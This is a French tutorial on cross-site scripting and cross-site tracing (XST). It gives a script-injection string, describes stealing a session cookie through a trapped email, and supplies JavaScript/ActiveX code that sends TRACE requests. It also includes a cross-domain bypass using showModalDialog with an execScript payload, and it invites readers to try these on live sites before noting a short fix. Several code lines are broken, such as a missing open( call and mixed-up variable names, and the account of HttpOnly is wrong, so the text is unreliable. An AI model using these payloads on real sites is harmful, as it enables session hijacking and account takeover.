Vous
avez sûrement entendu
parler de la fameuse faille XSS (cross site scripting), qui permettait entre
autre de récupérer les cookies d'une session en cours? Et bien
voici la nouvelle génération de XSS, appelé le XST (cross
site tracing).
Bon, voyons
tout d'abord en quoi consistait la faille XSS pour mieux comprendre le
XST. Lorsque
certaines variables (par exemple en JavaScript)
ne sont pas
bien protégées/sécurisées, il est possible d'indiquer
la fin d'une variable et d'en implémenter une autre à la suite.
Je m'explique: lorsque vous avez, par exemple, un formulaire de recherche dans
une page web (avec une ligne du genre:
<
input type = "text" name = "toto" value = "123" size
= "30"> </input>
<
input type = "button" name = "bouton" value = "Appuyes" OnClick
= "recherche()"> </input>).
Il est possible, par l'intermédiaire d'une simple ligne de code, de
faire apparaître une fenêtre "alert" contenant à peu
près ce que l'on veux.
Ex:
dans la
barre
de recherche, tapez ceci: "><script>alert('Hello')</script>
Ceci va
fermer la balise input et passer en paramètre de recherche
le script: alert('Hello'). Dans le cas présent, nous aurons une fenêtre
qui apparaîtra avec comme paramètre la chaîne de caractères "Hello".
Vous vous en doutez, ceci n'est pas très intéressant... Par contre,
il est possible de mettre en paramètre la valeur document.cookie à la
place de la chaîne de caractère "Hello". Ceci va donc
nous donner la valeur (normalement id_session) de notre cookie sur le site
sur lequel nous opérons le test. Avec une manipulation assez simple
du code JavaScript, il est possible d'envoyer un e-mail piégé à Monsieur
X, nous permettant donc de récupérer son cookie avec sa session.
Ceci implique (pour faire bref...) que nous pouvons donc se connecter à son
compte e-mail! Voici donc les bases du XSS.
Depuis
quelque temps, et étant donné que la plupart des "grands" du
monde d'internet ne sont pas stupides (enfin, presque...), genre M$, google,
yahoo, ils ont donc interdit, ou plutôt protégé leurs variables
contre l'exécution de scripts, et surtout du paramètre "document.cookie".
Mais ils se sont arrêtés là!
Avant de vous parler du XST, il serait judicieux de vous illustrer un peu
le protocole (protocole est un grand mot...) TRACE (protocole sur lequel repose
notre faille).
Si vous ne le savez pas encore, lorsque vous naviguez sur le net vous utilisez
plusieurs protocoles pour envoyer et reçevoir des informations, et ceci à votre
insu. Je ne vais pas m'étendre là-dessus, mais sachez juste que
vous pouvez utiliser plusieurs méthodes, ou requêtes d'envoi et
de réception des données. Voici les méthodes possibles:
GET, POST, TRACE (il y en a d'autres, mais ce n'est pas trop le but de ce texte
;) ). Ceci étant fait, nous allons donc essayer de retrouver où réside
la valeur passée dans document.cookie. Et c'est là qu'intervient
la méthode TRACE. En effet, cette méthode va faire un echo des
informations contenues dans la requête HTTP, incluant le cookie ainsi
que l'authentification web. Voici une méthode très simple, utilisant
le protocole Telnet, pour voir si le serveur cible accepte la méthode
TRACE:
---------------------
telnet www.test.com 80
Trying 127.0.0.1...
Connected to www.test.com
Escape character is '^]' .
TRACE / HTTP/1.1
Host: www.test.com
X-Header: test
---------------------
Si le
serveur accepte la requête TRACE, vous devriez avoir quelque chose
comme ça:
---------------------
HTTP/1.1 200 OK
Date: Wed 01 Jan 2004 12:34:20 GMT
Server: Microsoft-IIS/5.0
Content-Tye: message/http
---------------------
Par contre,
le problème se situe dans le fait qu'un navigateur comme
IE n'accepte pas les requêtes TRACE (les navigateurs ont par défaut
la méthode HttpOnly activée, ce qui empêche la réception
de requêtes TRACE). Il va donc falloir passer par un autre chemin pour
récupérer les informations contenues dans la requête HTTP.
C'est là qu'interviennent les langages de programmation et de script
comme Java, ActiveScript ou encore JavaScript (normalement tout type de langage
peut être utilisé pour cette faille). Par l'intermédiaire
de ces langages, il est possible de récupérer les informations
contenues dans la requête HTTP. Dans notre exemple nous allons utiliser
du JavaScript avec des fonctions ActiveX.
Avec ce
simple code, il est possible d'obtenir le cookie envoyé par
le site. Si nous sommes loggués sur le site, il nous renverra notre
propre cookie.
---------------------
<
script type = "text/javascript">
< !--
function sendTrace() {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp."TRACE", "http://www.test.com", false);
xmlDoc.send();
xmlDoc = xmlHttp.responseText;
alert(xmlDoc);
}
//-->
< /script>
<
input type = button OnClick = "sendTrace();" value="Trace">
---------------------
Ce petit
script va donc envoyer va envoyer une requête TRACE au serveur
www.test.com. Si le serveur supporte la méthode TRACE, il va renvoyer
un echo avec les informations contenues dans la requête HTTP. Votre navigateur
va interpréter ces données par le biais du script JavaScript
dans une fenêtre alert. Ce code démontre qu'il est possible d'obtenir
un cookie sans passer par document.cookie .
Remarque: il est possible d'obtenir ce genre d'informations même à travers
un lien SSL. Il est également intéressant de noter que ce genre
de script marche également sur d'autres navigateurs, comme par exemple
Mozilla.
Un problème se pose: il n'est pas possible d'atteindre un autre domaine
que celui identifié dans la requête du TRACE. Par exemple, un
script lancé sur test.com avec comme méthode TRACE n'aura un
effet que sur test.com, pas sur d'autres domaines. Ceci peut être contourné assez
facilement.
Voici une source permettant d'obtenir le cookie:
---------------------
<
script type="text/javascript">
< !--
function xssDomainTraceRequest() {
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.\"TRACE\",\"http://www.test.com\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;";
var target = "http://www.test.com";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("'
+ cExampleCode + '")))';
showModalDialog(target, null, readyCode);
}
//-->
< /script>
<input type = button OnClick="xssDomainTraceRequest();" value="Show
Cookie Information">
---------------------
Vous pouvez
tester ce code chez vous sur des sites acceptant la méthode
TRACE. Maintenant, à vous de voir ce qu'il est possible de faire avec
tout ça ;)
Solution: désactiver la méthode TRACE sur le serveur (activée
par défaut)
désactiver l'exécution de scripts ActiveX